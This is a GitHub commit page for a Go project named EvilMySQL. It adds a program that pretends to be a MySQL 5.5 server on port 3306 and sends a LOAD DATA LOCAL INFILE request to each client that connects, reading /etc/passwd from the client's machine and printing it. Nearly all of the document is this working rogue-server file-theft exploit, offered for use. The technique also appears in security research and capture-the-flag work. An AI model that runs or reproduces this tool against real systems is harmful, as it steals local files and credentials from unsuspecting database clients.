Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
Liki4 committed Oct 19, 2022
0 parents commit 1e85d89
Show file tree
Hide file tree
Showing 2 changed files with 74 additions and 0 deletions.
71 changes: 71 additions & 0 deletions evil.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
package main

import (
"bufio"
"fmt"
"net"
)

func writeBody(conn net.Conn, buf []byte) {
_, _ = conn.Write(buf)
}

func readBody(conn net.Conn) (int, []byte) {
reader := bufio.NewReader(conn)
buf := make([]byte, 4096)
length, _ := reader.Read(buf[:])
return length, buf
}

func getFile(conn net.Conn, fileName string) bool {

var remoteFile []byte
var length int
var recv []byte

defer func(conn net.Conn) {
_ = conn.Close()
}(conn)

writeBody(conn, []byte("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"))
readBody(conn)

writeBody(conn, []byte("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"))
readBody(conn)

remoteFile = append(remoteFile, byte(len(fileName)+1))
remoteFile = append(remoteFile, []byte("\x00\x00\x01\xFB")...)
remoteFile = append(remoteFile, []byte(fileName)...)

writeBody(conn, remoteFile)
length, recv = readBody(conn)

fileContent := string(recv[:length])

if length > 4 {
fmt.Printf("%v", fileContent)
return true
}

return false
}

func main() {
server, err := net.Listen("tcp", "0.0.0.0:3306")
if err != nil {
fmt.Printf("server failed, err:%v\n", err)
return
}
fmt.Println("binding: 0.0.0.0:3306")

var conn net.Conn

for {
conn, err = server.Accept()
if err != nil {
fmt.Printf("accept failed, err:%v\n", err)
}

go getFile(conn, "/etc/passwd")
}
}
3 changes: 3 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
module EvilMySQL

go 1.19

0 comments on commit 1e85d89

Please sign in to comment.